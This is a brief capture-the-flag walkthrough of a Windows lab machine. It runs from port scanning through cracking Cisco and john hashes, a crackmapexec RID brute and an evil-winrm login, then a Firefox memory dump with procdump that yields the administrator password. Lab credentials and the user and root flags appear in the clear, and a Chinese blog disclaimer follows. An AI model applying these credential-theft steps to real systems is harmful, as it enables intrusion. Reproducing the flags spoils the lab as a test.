Information Gathering

$ ip='10.10.10.149'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Support Login Page
|_Requested resource was login.php
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Cisco Password Crack && RID brute

http://10.10.10.149/login.php

http://10.10.10.149/issues.php

https://www.ifm.net.nz/cookbooks/passwordcracker.html

username:rout3r
password:$uperP@ssword

username:admin
password:Q4)sJu\Y8qz*A3?d

$ john hash --wordlist=/home/maptnh/Desktop/rockyou.txt --fork=4

username:hazard
password:stealth1agent

$ crackmapexec smb 10.10.10.149 -u user -p pass

$ crackmapexec smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --rid-brute

$ crackmapexec smb 10.10.10.149 -u user -p pass

username:Chase
password:Q4)sJu\Y8qz*A3?d

$ evil-winrm -i 10.10.10.149 -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'

User.txt

36b51bb5b3adc73e993df616c34e0ca8

Privilege Escalation:ProcDump

https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

*Evil-WinRM* PS C:\Users\Chase\Desktop> upload ../home/maptnh/Desktop/htb/procdump64.exe ./

*Evil-WinRM* PS C:\Users\Chase\Desktop> Get-Process -Name firefox | Select-Object Id, ProcessName

*Evil-WinRM* PS C:\Users\Chase\Desktop> .\procdump64.exe -ma 6220 C:\Users\Chase\Desktop\res.dmp

*Evil-WinRM* PS C:\Users\Chase\Desktop> download res.dmp /tmp/res.dmp

$ strings res.dmp|grep login_password

password:4dD!5}x/re8]FBuZ

Root.txt

f2c7b7a831c8a87f285e1893307cd644

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）